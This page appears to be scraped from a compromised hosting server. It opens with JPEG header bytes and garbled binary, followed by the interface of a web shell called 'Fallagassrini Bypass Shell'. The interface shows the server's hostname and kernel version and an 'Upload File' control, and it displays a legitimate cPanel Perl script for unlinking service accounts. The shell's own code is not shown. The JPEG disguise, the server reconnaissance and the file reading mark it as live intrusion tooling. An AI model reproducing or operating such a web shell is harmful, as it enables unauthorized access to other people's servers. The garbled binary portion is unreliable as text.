JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /scripts/

Linux 43-225-53-84.webhostbox.net 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Upload File :
Current File : //scripts/unlink_service_account

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/unlink_service_account          Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::unlink_service_account;

use strict;
use warnings;
use Cpanel::AcctUtils::DomainOwner::Tiny ();
use Cpanel::JSON                         ();
use Cpanel::SafeRun::Errors              ();
use Cpanel::Usage                        ();

exit( run(@ARGV) ) unless caller();

sub run {
    my (@args) = @_;

    my ( $user, $service, $dismiss );
    my $opts = {
        'user'    => \$user,
        'service' => \$service,
        'dismiss' => \$dismiss,
    };

    Cpanel::Usage::wrap_options( \@args, \&usage, $opts );
    usage() unless ( $user && $service );
    my ( $local, $domain ) = split( /\@/, $user, 2 );
    usage() unless ( $local && $domain );

    my $owner = Cpanel::AcctUtils::DomainOwner::Tiny::getdomainowner( $domain, { default => '' } );
    if ( !$owner ) {
        print "Cannot find the owner of $domain, try rebuilding /etc/userdomains first with /usr/local/cpanel/scripts/updateuserdomains\n";
        return 1;
    }

    # Use bin/uapi instead of Cpanel::API::execute because this script is uncompiled, and some of the
    # API code we need is unshipped.
    my $json = Cpanel::SafeRun::Errors::saferunallerrors(
        '/usr/local/cpanel/bin/uapi',
        !$< ? ( '--user', $owner ) : (),    # if we're running as root, we need to tell it which user to run the API call for
        '--output',    'json',
        'UserManager', 'unlink_service_account',
        map { join '=', @$_ } ( [ username => $local ], [ domain => $domain ], [ service => $service ], [ dismiss => $dismiss ] )
    );
    my $response = Cpanel::JSON::Load($json);

    if ( !$response->{result}{status} ) {
        print "$_\n" foreach ( @{ $response->{result}{errors} } );
        return 1;
    }

    return 0;
}

sub usage {
    my $prog = $0;
    print <<USAGE;
$0 [options] - Unlink a service account from a sub-account.

This script may be run either as root or by a cPanel user.

OPTIONS
    --user USER\@DOMAIN
        Full login of the sub-account.
    --service SERVICE
        Service to unlink from the user (ftp, webdisk, or email)
    --dismiss
        Also dismiss the merge prompt, so this account will not show up as as merge candidate

Sample usages:
    > $0 --user test\@domain1.example --service ftp
    > $0 --user test3\@domain1.example --service email
USAGE
    exit 0;
}

1;

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net